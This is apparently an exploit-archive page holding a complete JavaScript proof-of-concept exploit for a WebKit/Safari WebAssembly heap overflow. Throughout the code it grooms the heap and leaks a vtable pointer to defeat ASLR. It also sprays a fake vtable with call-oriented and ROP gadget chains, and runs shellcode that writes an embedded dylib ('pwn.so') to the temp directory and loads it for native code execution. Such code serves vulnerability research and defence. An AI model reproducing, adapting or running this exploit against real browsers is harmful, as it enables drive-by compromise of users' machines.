4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.js JS
// Info leak of the vtable of a HTMLLinkElement. 
// HTMLLinkElement is 0xf8;
var TARGET_OBJECT_SIZE = 0xf8; 

// Size of StringImplHeader
var SIZE_HEADER_SIZE = 0x18; 

// Size of strings we are spraying. 
var TARGET_STRING_SIZE = TARGET_OBJECT_SIZE-SIZE_HEADER_SIZE;  

// This controls the max value we can write (i.e. 1-500) and thus leak! 
// This was 1000 before, it works with 1000 too. But bigger memory allocation needed.
var TYPE_ARR_LEN = 500; 

// This needs to be the same size as our target object (4*102 = 408) + 0x18. 
// Control the size (newCapacity) of the vector we overflow (sizeof(uint32_t) * 12 = 48 byte buffer). We want 0x198
var FUNC_COUNT = TARGET_OBJECT_SIZE / 4; 

// Info leak overflow
// WTF::StringImpl:
// 0x2 = m_refcount; 
// 500 = m_length;  - Our new string length value (1000). 
var OVERWRITE_ARRAY1 = [0x10,500];

var SPRAY_COUNT = 196;
var SPRAY_ADDR_HIGH = 0x8;

// This overflow is used to control RAX on the vtable call
// 0x7fff39b56ce5 <+21>: call   qword ptr [rax + 0x68]
// rax = 0x0000000800000008
var OVERWRITE_ARRAY2 = [0x08,SPRAY_ADDR_HIGH];

// offset from base of vtable.
// HTMLLinkElement 
// This needs updating if Safari version changes.. 
var VTABLE_OFFSET = 0x45e88

// Variable where we store the webcore base in. 
var webcore_base;

function read_dword(leak_string, offset){
  var val = 0;
  for (var i = 0; i < 4; i++){
    val += target.charCodeAt(offset + i) << (i*8);
  }
  return val;
}

/* helper function to build strings which have a power-of-two length */
function pow2str(p, b) {
  var str = String.fromCharCode(b);
  for (; p; p--){
    str += str;
  }
  return str;
}

function uint64(upper,lower)
{
  var s = '';
  for (var i = 0; i < 4; i++)
  {
    s += String.fromCharCode((lower >> (i*8)) & 0xff);
  }
  for (var i = 0; i < 4; i++)
  {
    s += String.fromCharCode((upper >> (i*8)) & 0xff);
  }  
  return s; 
}

function text(offs) {
  //TODO: proper uint64 addition would be nice :D 
  return uint64(webcore_base[1], (webcore_base[0] + offs));
}

function hex(b)
{
  return ('0' + b.toString(16)).substr(-2);
}

function hexlify(bytes)
{
  var res = [];
  for (var i =0; i < bytes.length; i++)
  {
    res.push(hex(bytes[i]));
  }
  return res.join('');
}

/* build a string of any length
 * note the actual malloc’ed size will include the StringImpl header size (24 bytes)
 */
function alloc(n, b) {
  var res = '';
  for(var i = 0; i < 32; i++){
    if(n & 0x1)
      res += pow2str(i, b);
    n >>= 1;
  }
  /* this will flatten the rope and actually make the allocation */
  res[0];
  return res;
}

function alloc_rop(n, b, ropstack) {
  var res = ropstack;
  n -= res.length;
  for(var i = 0; i < 32; i++){
    if(n & 0x1)
      res += pow2str(i, b);
    n >>= 1;
  }
  /* this will flatten the rope and actually make the allocation */
  res[0];
  return res;
}

// Convert a number to a variable length array. 
function to_leb128(num)
{
  ret = [];
  while (num > 0)
  {
    //print("entering loop with num " + num);
    tmp = num & 0x7f;
    num >>= 7;
    if (num > 0)
      tmp |= 0x80;
    ret.push("0x" + tmp.toString(16))
  }
  return ret; 
}

// Utility function to generate a unique type.. 
function generate_type(param_count)
{
  var tmp = [];

  var form = ['0x60'];
  tmp = tmp.concat(form);
  tmp = tmp.concat(to_leb128(param_count));

  for (p = 0; p < param_count; p++)
    tmp = tmp.concat('0x7f');

  // Return count (getting cut off..)
  tmp = tmp.concat('0x1');
  tmp = tmp.concat('0x7f');

  //print(tmp);
  return tmp; 
}

// Create the header
function create_magic()
{
  // Header bytes
  magic = ['0x0', '0x61', '0x73', '0x6d'];
  version = ['0x1', '0x0', '0x0', '0x0'];
  header = magic.concat(version);
  return header; 
}

function create_type_section()
{
  var type_id = ['0x1'];
  // Number of unique types to create.
  var type_count = to_leb128(TYPE_ARR_LEN);
  var type_pl = type_count;

  for (i = 0; i < TYPE_ARR_LEN; i++)
  {
    var t = generate_type(i+1);
    //print(t);
    type_pl = type_pl.concat(t);
  }
  var type_sz = to_leb128(type_pl.length);
  var type_section = type_id.concat(type_sz).concat(type_pl);
  //print(type_section);
  return type_section;
}

// Used to create our victim buffer we will overflow. 
function create_valid_function_section()
{
  // Function section (3)
  var func_id = ['0x3'];
  var func_count = to_leb128(FUNC_COUNT);
  var single_func = ["0x1"]; // Just use a valid idx for the first section
  var func_arr = [];
  for (i = 0; i < FUNC_COUNT; i++)
  {
    func_arr = func_arr.concat(single_func);
  }
  var func_size = (FUNC_COUNT) + func_count.length
  var func_sz = to_leb128(func_size);
  var func_pl = func_count.concat(func_arr);
  var func_section = func_id.concat(func_sz).concat(func_pl);
  //print(func_section);
  return func_section;
}

// Return back an invalid section
function create_invalid_section()
{
  var inv_id = ['0x6d'];
  var inv_sz = ['0x2'];
  var inv_pl = ['0x0', '0x1'];

  var inv_section = inv_id.concat(inv_sz).concat(inv_pl); 
  return inv_section;
}

// Used to create our overflow section (must be less than FUNC_COUNT) in order to reuse allocation. 
// Count = 2
function create_overflow_section(overwrite_array)
{
  var func_id = ['0x3'];
  var func_count = to_leb128(overwrite_array.length);
  var func_arr = [];
  // Construct our overflow array
  for (var i = 0; i < overwrite_array.length; i++)
  {
    var idx = overwrite_array[i]-1; 
    //alert(idx); 
    var single_func = to_leb128(idx); 
    func_arr = func_arr.concat(single_func);   
  }
  var func_size = overwrite_array.length + func_count.length; 
  var func_sz = to_leb128(func_size);
  var func_pl = func_count.concat(func_arr);
  var func_section = func_id.concat(func_sz).concat(func_pl);

  return func_section;
}

// Return back an invalid section
function create_invalid_section()
{
  var inv_id = ['0x6d'];
  var inv_sz = ['0x2'];
  var inv_pl = ['0x0', '0x1'];

  var inv_section = inv_id.concat(inv_sz).concat(inv_pl); 
  return inv_section;
}

///var payload; 

function create_payload(payload){
  console.log("create payload called!");
  var header = create_magic();
  var type_section = create_type_section();
  var valid_func_section = create_valid_function_section();

  var invalid_section = create_invalid_section();
  var overflow_section1 = create_overflow_section(payload);

  var payload = header.concat(type_section).concat(valid_func_section).concat(invalid_section).concat(overflow_section1).concat(invalid_section);
  return payload; 
}

holder = []; 
function gc2()
{
  var h = [];
  for (var i = 0; i < 10000; i++)
    h[i] = alloc(400,0x20);
  holder.push(h);
}

var x; 

function ab_spray(target_addr, ropchain, payload, cop_ptrs) {
    // Small helper to avoid allocations with .set(), so we don't mess up the heap
    function set(p, i, a,b,c,d,e,f,g,h) {
        p[i+0]=a; p[i+1]=b; p[i+2]=c; p[i+3]=d; p[i+4]=e; p[i+5]=f; p[i+6]=g; p[i+7]=h;
    }
    //alert("let's go");
    AR_SZ = 0x08000000;
    var target_p = [];
    var ropchain_ps = [];
    var cop_ps = [];
    for(var i = 0; i < 8; i++)
        target_p.push(target_addr.charCodeAt(i));
    for(var i = 0; i < ropchain.length; i++) {
        var tmp = [];
        for(var j = 0; j < 8; j++)
            tmp.push(ropchain[i].charCodeAt(j));
        ropchain_ps.push(tmp);
    }
    // TODO this sometimes crashes because *(0x8000000000)==0 -> spray more ptrs!
    var dylib_start = AR_SZ - Math.ceil(DYLIB_LENGTH/0x1000)*0x1000;
    function spray(idx) {
        var res = new Uint8Array(AR_SZ);
        var dylib_idx = 0;
        for (var i = 0; i < AR_SZ; i += 0x1000) {
          var p;
          if(i >= dylib_start) {
              for(var j = 0; j < 0x200 && dylib_idx < DYLIB.length; j++,dylib_idx++) {
                  p = DYLIB[dylib_idx];
                  var idx = i + (j<<3);
                  set(res, idx, p[0],p[1],p[2],p[3], p[4],p[5],p[6],p[7]);
              }
          }
          // i % PAGESIZE, spray differnt pattern per page
          else if(((i >> 12) & 0x3) == 0 || ((i >> 12) & 0x3) == 3) {
              p = target_p;
              for(var j = 0; j < 0x1000; j += 8) {
                set(res, i+j, p[0],p[1],p[2],p[3], p[4],p[5],p[6],p[7]);
              }
              for(var k in cop_ptrs) {
                j = cop_ptrs[k][0];
                p = cop_ptrs[k][1];
                set(res, i+j, p[0],p[1],p[2],p[3], p[4],p[5],p[6],p[7]);
              }
          }
          else if(((i >> 12) & 0x3) == 1) { // ROP PAGE
              var roplen = ropchain_ps.length << 3;
              var idx = 0;
              for(var j = 0; j < roplen; j += 8) {
                p = ropchain_ps[idx++];
                set(res, i+j, p[0],p[1],p[2],p[3], p[4],p[5],p[6],p[7]);
              }
          }
          else if(((i >> 12) & 0x3) == 2) { // PAYLOAD PAGE
              for(var j = 0; j < payload.length; j++)
                res[i+j] = payload.charCodeAt(j);
          }
          else {
              p = target_p;
              for(var j = 0; j < 0x1000; j += 8)
                set(res, i+j, p[0],p[1],p[2],p[3], p[4],p[5],p[6],p[7]);
          }
        }
        return res;
    }

    // predictably allocates memory at 0x800000000  
    x = [];
    for(var i = 0; i < SPRAY_COUNT; i++)
        x.push(spray(i));
    var size_gb = AR_SZ * x.length / 1024 / 1024 / 1024;
    //alert("done spraying "+x.length+" buffers, total size: "+size_gb+"GB");
    return x;
}

payload1 = create_payload(OVERWRITE_ARRAY1);
payload2 = create_payload(OVERWRITE_ARRAY2);

// Stage1: Trigger the bug to perform an info leak. 

var a_elems = []; 
var b_elems = [];
var e_elems = []; 
var c_elems = [];
var d_elems = []; 

// First spray a pattern. 
// <String A><String B><HTMLLinkElement>
for (var i = 0; i < 0x1000; i++)
{

  var a = alloc(TARGET_STRING_SIZE, 0x41); // One we free (replace with wasm)
  var b = alloc(TARGET_STRING_SIZE, 0x42); // Never free this.
  var e = document.createElement("link");  // Never free this (form element is the same size..) 

  a_elems.push(a);
  b_elems.push(b);
  e_elems.push(e); 
}

// Now free some A elements, so it should end up in one of these slots... 
// <Free><String B><HTMLLinkElement>
for (var i = 0; i < a_elems.length; i++)
{
  //delete(a_elems[i]);
  a_elems[i] = null;
}

for (var i = 0; i < a_elems.length; i++)
{
  delete(a_elems[i]);
  //c_elems[i] = null;
}

// Trigger some GCs
for (var i = 0; i < 4; i++) gc2(); 

// Try trigger a few times by getting the wasm in the A slots.. 
// Not sure why we need to do it twice :), but it makes its way more reliable that we hit corruption first time round. 
// <WASM><String B><HTMLLinkElement> 
try { module = new WebAssembly.Module(new Uint8Array(payload1)) } catch (e) { };
try { module = new WebAssembly.Module(new Uint8Array(payload1)) } catch (e) { };

var corr_idx = -1; 

for (var i = 0; i < b_elems.length; i++)
{
  if (b_elems[i]) {

    // We use slice(0) to force an update of the .length cached property - just reading it fails 
    str = b_elems[i].slice(0);

    if (str.length != TARGET_STRING_SIZE) {
      //alert("Corruption size = " + str.length + " at index " + i);
      corr_idx = i;
    }

  }
}

// If there has been corruption dump the bytes after the buffer.
if (corr_idx != -1)
{
  //document.write(keep[corr_idx]);
  var target = b_elems[corr_idx].slice(0);
  //document.write(target);
  // Try dump the pointers
  var vtable_ptr = -1; 

  var leaked_ptr_lower = read_dword(target,TARGET_STRING_SIZE);
  var leaked_ptr_higher = read_dword(target,TARGET_STRING_SIZE+4);

  if (leaked_ptr_higher != 0x7fff)
  {
    // False positive - go again. 
    document.location.reload(); 
  }

  var value = ((leaked_ptr_lower) >>> 0).toString(16);
  document.writeln("Vtable lower " + value + " <br>");
  var value = ((leaked_ptr_higher) >>> 0).toString(16);
  document.writeln("Vtable upper " + value+ " <br>");

  // Try calculate the DATA section base from the vtable.. 
  // Note: static offset of vtable here.. 
  // Was previously 0x4ecf0e88
  var data_base_lower = leaked_ptr_lower - VTABLE_OFFSET;
  var data_base_higher = leaked_ptr_higher; 

  var data_base_lower_hex = ((data_base_lower) >>> 0).toString(16);
  var data_base_upper_hex = ((data_base_higher) >>> 0).toString(16);

  document.writeln("WebCore __DATA section base lower " + data_base_lower_hex + " <br>");
  document.writeln("WebCore __DATA section base upper " + data_base_upper_hex + " <br>");

  // For some reason the TEXT section is always 0x4ecb8000 before the data section on 10.13.3. 
  // Therefore remove this from the lower. 
  text_base_lower = data_base_lower - 0x4ecb8000;
  text_base_higher = data_base_higher; // Both will be the same.

  text_base_lower_hex = ((text_base_lower) >>> 0).toString(16);
  text_base_upper_hex = ((text_base_higher) >>> 0).toString(16);

  document.writeln("WebCore __TEXT section base lower " + text_base_lower_hex + " <br>");
  document.writeln("WebCore __TEXT section base upper " + text_base_upper_hex + " <br>"); 

  // 42d8bfff

  for (var i = 0; i  < target.length; i+=4)
  {
    var leaked_ptr_lower = read_dword(target, TARGET_STRING_SIZE + i);
    // Convert it to hex.
    var value = ((leaked_ptr_lower) >>> 0).toString(16);
    document.writeln(value);
  }
}
else
{
  // Heap didn't lay out like we want it - try again! 
  // We cannot continue unless we have the TEXT base :( 
  document.location.reload(); 
}

webcore_base = [text_base_lower,text_base_higher];

// Stage 2.. Do our heap spray so we have a fake vtable at the correct address.. 
// 0x7fff39b56ce5 <+21>: call   qword ptr [rax + 0x68]
// At crash time rax = 0x0000000800000008
//alert("Stage 2: Spraying fake vtable at "+SPRAY_ADDR_HIGH+"00000000");
    // Fixed offsets
/*
  surgical_cop //  Call Oriented Programming
    - rdi contains addrof(this), so our spray will be nearby.
    - we spray a retsled + ropchain-stub, so let's point rsp there

    0x12df3b  //  add rdi, 0xd8; call [rax+0x10]
    0x138d7f  //  add rdi, 0x60; call qword ptr [rax + 0x40];
    0x19a688  //  mov r14, rdi; mov rdi, r15; call qword ptr [rax + 0x8];
    0x16ecd9  //  mov rdx, r14; call qword ptr [rax + 0x18];
    0xdeb12b  //  push rdx; pop rsp; add byte ptr [rax - 0x77], cl; ret;
*/

    var sigtrap = text(0xa576); // 0xcc int3 

    var cop__add_rdi_0xd8 = text(0x12df3b);
     // add rdi, 0xd8; mov esi, 1; call qword ptr [rax + 0x10];

    var rop_stack_pivot = text(0xdeb12b);
     // push rdx; pop rsp; add byte ptr [rax - 0x77], cl; ret;

    var pop_rdx__ret = text(0x4b4a2); // pop rdx; ret;
    var pop_rsp__ret = text(0xb369); // pop rsp; ret;

    // this is allocated at 0x20000000, but rax points 8 bytes in
    // => low dword of rax will be 8, therefore add 8 to every offset:
    var cop_ptrs = {
        0x10: text(0x16ecd9),  //  mov rdx, r14; call qword ptr [rax + 0x18];
        0x18: text(0x138d7f),  //  add rdi, 0x60; call qword ptr [rax + 0x40];
        0x20: rop_stack_pivot, //  push rdx; pop rsp; add byte ptr [rax - 0x77], cl; ret; 
        0x48: text(0x19a688),  //  mov r14, rdi; mov rdi, r15; call qword ptr [rax + 0x8];
        //  transfers control to ropstub
    }
    for(var k in cop_ptrs) {
        var tmp = [];
        for(var j = 0; j < 8; j++)
            tmp.push(cop_ptrs[k].charCodeAt(j));
        cop_ptrs[k] = [parseInt(k), tmp];
    }
    //alert("spraying "+(l.concat(h)));

    var ropstub = [
        pop_rdx__ret,
        uint64(SPRAY_ADDR_HIGH, 0x0001000),
        rop_stack_pivot
    ];

    var pop_rax__ret = text(0xb2ce);  // pop rax; ret
    var pop_rcx__ret = text(0x9b396); // pop rcx; ret;
    var pop_rsi__ret = text(0x3f37e); // pop rsi; ret;
    var pop_rdi__ret = text(0x1f31cd);// pop rdi; ret
    var rop__ret = text(0x1f31cd + 1);// ret
    var jmp_rax = text(0x2c1e);       // jmp rax;

    var mov_ptr_rdi_rax__ret = text(0x44568); // mov qword ptr [rdi], rax; ret;
    var mov_rdi_rax__pop_rbp__ret = text(0x5e9bf); // mov rdi, rax; mov rax, rdi; pop rbp; ret;

    var dlopen = text(0x13b158a); // dlopen stub, otool -arch x86_64 -IV
    var dlsym = text(0x13b1590);  // dlsym stub

    // more stubs, needed in payload
    var strdup = text(0x13b1c6e); 
    var open = text(0x13b1ad0); 
    var write = text(0x13b1eea);
    var usleep = text(0x13b1e3c);

    var JUNK = uint64(0xdeadbeef, 0x0badc0de);
    var ropchain = [
        rop__ret,
        rop__ret,
        rop__ret,
 
        // write "/usr/lib/libc.dylib" to 0x200001f00
        pop_rax__ret,
        "/usr/lib",
        pop_rdi__ret,
        uint64(SPRAY_ADDR_HIGH, 0x00001f00), // 0-memory
        mov_ptr_rdi_rax__ret,
        pop_rax__ret,
        "/libc.dy",
        pop_rdi__ret,
        uint64(SPRAY_ADDR_HIGH, 0x00001f08),
        mov_ptr_rdi_rax__ret,
        pop_rax__ret,
        "lib" + "\x00".repeat(5),
        pop_rdi__ret,
        uint64(SPRAY_ADDR_HIGH, 0x00001f10),
        mov_ptr_rdi_rax__ret,
        rop__ret,

        // write "mprotect" to 0x200001f20
        pop_rax__ret,
        "mprotect",
        pop_rdi__ret,
        uint64(SPRAY_ADDR_HIGH, 0x00001f20), // 0-memory
        mov_ptr_rdi_rax__ret,

        // dlopen("libc.dylib", RTLD_NOW);
        pop_rdi__ret,
        uint64(SPRAY_ADDR_HIGH, 0x00001f00), // "libc.dylib"
        pop_rsi__ret,
        uint64(0x0, 0x2), // RTLD_NOW
        dlopen,

        // dlsym(LIBC_HANDLE, "mprotect")
        mov_rdi_rax__pop_rbp__ret, // move handle to rdi
        JUNK,
        pop_rsi__ret,
        uint64(SPRAY_ADDR_HIGH, 0x00001f20), // "mprotect"
        dlsym,

        // mprotect(0x200002000, 0x1000, PROT_READ|PROT_EXEC);
        pop_rdi__ret,
        uint64(SPRAY_ADDR_HIGH, 0x00002000), // payload addr
        pop_rsi__ret,
        uint64(0x0, 0x1000), // page size
        pop_rdx__ret,
        uint64(0x0, 0x5), // PROT_READ|PROT_EXEC
        jmp_rax,
        
        uint64(SPRAY_ADDR_HIGH, 0x00002000), // RET 2 SHELLCODE!!
        sigtrap,
        JUNK
    ];
    var SC = ""; // "\xcc";
    // LIBC = dlopen("libc.dylib", RTLD_NOW)
    SC += "\x48\xbf" + uint64(SPRAY_ADDR_HIGH, 0x1f00); // mov rdi, &"libc.dylib"
    SC += "\x48\xc7\xc6" + "\x02\x00\x00\x00";          // mov rsi, 0x2
    SC += "\x48\xb8" + dlopen;                          // mov rax, dlopen
    SC += "\xff\xd0";                                   // call rax
    SC += "\x48\x89\xc5";                               // mov rbp, rax

    // dlsym(LIBC, "getenv")
    SC += "\x48\xbe" + uint64(SPRAY_ADDR_HIGH, 0x1f30); // mov rsi, &"getenv"
    SC += "\x48\xbb" + "getenv\x00\x00";                // mov rbx, "getenv"
    SC += "\x48\x89\x1e";                               // mov [rsi], rbx
    SC += "\x48\x89\xef";                               // mov rdi, rbp ; libc handle
    SC += "\x48\xb8" + dlsym;                           // mov rax, dlsym
    SC += "\xff\xd0";                                   // call rax

    // getenv("TMPDIR")
    SC += "\x48\xbf" + uint64(SPRAY_ADDR_HIGH, 0x1f40); // mov rdi, &"TMPDIR"
    SC += "\x48\xbb" + "TMPDIR\x00\x00";                // mov rbx, "TMPDIR"
    SC += "\x48\x89\x1f";                               // mov [rdi], rbx
    SC += "\xff\xd0";                                   // call rax

    // strdup($TMPDIR) and save in r12
    SC += "\x48\x89\xc7";                               // mov rdi, rax
    SC += "\x48\xb8" + strdup;                          // mov rax, strdup
    SC += "\xff\xd0";                                   // call rax
    SC += "\x49\x89\xc4";                               // mov r12, rax

    // dlsym(LIBC, "strcat")
    SC += "\x48\xbe" + uint64(SPRAY_ADDR_HIGH, 0x1f50); // mov rsi, &"strcat"
    SC += "\x48\xbb" + "strcat\x00\x00";                // mov rbx, "strcat"
    SC += "\x48\x89\x1e";                               // mov [rsi], rbx
    SC += "\x48\x89\xef";                               // mov rdi, rbp ; libc handle
    SC += "\x48\xb8" + dlsym;                           // mov rax, dlsym
    SC += "\xff\xd0";                                   // call rax

    // strcat($TMPDIR, "pwn.so")
    SC += "\x48\xbe" + uint64(SPRAY_ADDR_HIGH, 0x1f60); // mov rsi, &"pwn.so"
    SC += "\x48\xbb" + "pwn.so\x00\x00";                // mov rbx, "pwn.so"
    SC += "\x48\x89\x1e";                               // mov [rsi], rbx
    SC += "\x4c\x89\xe7";                               // mov rdi, r12
    SC += "\xff\xd0";                                   // call rax

    // open(libpath, O_CREAT|O_RDWR, 0755)
    SC += "\x4c\x89\xe7";                               // mov rdi, r12
    SC += "\x48\xbe" + uint64(0x0, 0x202)               // mov rsi, 0x202
    SC += "\x48\xba" + uint64(0x0, 0755)                // mov rdx, 0755
    SC += "\x48\xb8" + open;                            // mov rax, open
    SC += "\xff\xd0";                                   // call rax
    SC += "\x49\x89\xc5";                               // mov r13, rax

    // find dylib in memory by looking for 0xfeedfacf-magic
    SC += "\xbb\x00\x00\xed\xfe";                       // mov ebx, 0xfeed0000
    SC += "\x66\xbb\xcf\xfa";                           // mov bx, 0xfacf
    SC += "\x48\xbe" + uint64(SPRAY_ADDR_HIGH, 0x1000); // mov rsi, end of payload - 0x1000
    SC += "\x48\x81\xc6\x00\x10\x00\x00";               // [LOOP] add rsi, 0x1000
    SC += "\x8b\x0e";                                   // mov ecx, [rsi]
    SC += "\x39\xcb";                                   // cmp ebx, ecx
    SC += "\x75\xf3";                                   // jne -11 [/LOOP]

    // write(fd, &dylib, sizeof(dylib))
    SC += "\x48\xba" + uint64(0x0, DYLIB_LENGTH);       // mov rdx, sizeof(dylib)
    SC += "\x4c\x89\xef";                               // mov rdi, r13
    SC += "\x48\xb8" + write;                           // mov rax, write
    SC += "\xff\xd0";                                   // call rax

    // dlopen("pwn.so", RTLD_NOW)
    SC += "\x4c\x89\xe7";                               // mov rdi, r12
    SC += "\x48\xc7\xc6" + "\x02\x00\x00\x00";          // mov rsi, 0x2
    SC += "\x48\xb8" + dlopen;                          // mov rax, dlopen
    SC += "\xff\xd0";                                   // call rax

    // usleep(0xffffffff)
    //SC += "\x48\xbf" + uint64(0, 0xffffffff);           // mov rdi, 0xffffffff
    //SC += "\x48\xb8" + usleep;                          // mov rax, usleep
    //SC += "\xff\xd0";                                   // call rax

    // in case that wasn't enough, loop forever :)
    SC += "\xeb\xfe";                                   // jmp 0

    var RET_SLED_LEN = 20;
    window.STUB_OFFSET = 0; // adjust for stack-pivot
    // remember: maxlen = 0xf0 = 240 = 30 chain elements
    var ropstub_str = '';
    for(var i = 0; i < RET_SLED_LEN; i++)
        ropstub_str += rop__ret;
    for(var i = 0; i < ropstub.length; i++)
        ropstub_str += ropstub[i];

// Stage 3.. Now try trigger the bug
// In the previous step we sprayed a fake vtable.. 
// We redirect execution to this via this vtable call. 

//alert("Stage 3 (attach debugger): Triggering bug with text base 0x" + text_base_upper_hex + text_base_lower_hex);

var a_elems = []; 
var b_elems = [];
var e_elems = []; 
var c_elems = [];
var d_elems = []; 

var spray_buffers;
function spray_maybe() {
    if(!spray_buffers)
        spray_buffers = ab_spray(cop__add_rdi_0xd8, ropchain, SC, cop_ptrs);
    return spray_buffers;
}
        
 

function stage3() {
for (var i = 0; i < 0x0a000; i++)
{

  var a = alloc_rop(TARGET_STRING_SIZE, 0x43, ropstub_str); 
  var b = alloc_rop(TARGET_STRING_SIZE, 0x44, ropstub_str); // Free this one 
  var e = document.createElement("link");  
  //var c = alloc_rop(TARGET_STRING_SIZE, 0x45, ropstub_str); 

  a_elems.push(a);
  b_elems.push(b);
  e_elems.push(e); 
  //c_elems.push(c);
}

for (var i = 0; i < b_elems.length; i++)
{
  b_elems[i] = null;
}

for (var i = 0; i < b_elems.length; i++)
{
  delete(b_elems[i]);
}

// Trigger some GCs
for (var i = 0; i < 4; i++) gc2(); 

spray_maybe();
// Trigger the vtable overwrite a few times and redirect execution.. 
for (var i = 0; i < 3; i++)
{
  try { module = new WebAssembly.Module(new Uint8Array(payload2)) } catch (e) { };
}

for(var i = 0; i < e_elems.length; i++) {
  e_elems[i].focus();
}
}
for(var i = 0; i < 10; i++)
    stage3();
// This is needed to trigger the vtable call =) 
window.location.reload();